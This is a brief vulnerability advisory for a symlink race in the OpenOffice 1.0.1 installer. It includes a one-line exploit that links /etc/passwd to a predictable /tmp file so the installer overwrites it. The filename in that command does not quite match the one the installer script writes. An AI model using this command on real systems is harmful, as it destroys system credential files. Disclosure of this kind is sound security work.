OpenOffice 1.0.1 Race condition during installation

#838 · 2009-09-02

CVE ID(s): CVE-2002-2210

Notified: 2009-09-02

Description:

The open office desktop suite.

Exploit:

As a normal user:

lwc $ ln -s /etc/passwd /tmp/$USERNAME_autoresponse.conf

will result in the password file being over written with:

# create the proper autoresponse file
<file>
cat << EOF > /tmp/${USER}autoresponse.conf [ENVIRONMENT]
INSTALLATIONMODE=$installtype
INSTALLATIONTYPE=STANDARD
DESTINATIONPATH=$prefix/$oohome
OUTERPATH=
LOGFILE=
LANGUAGELIST=<LANGUAGE>

[JAVA]
JavaSupport=preinstalled_or_none

EOF
</file>

Notes:

Download: http://www.openoffice.org/dev_docs/source/1.0.1/index.html

URL: http://www.vapid.dhs.org/advisories/openoffice_race_condition_during_installation.html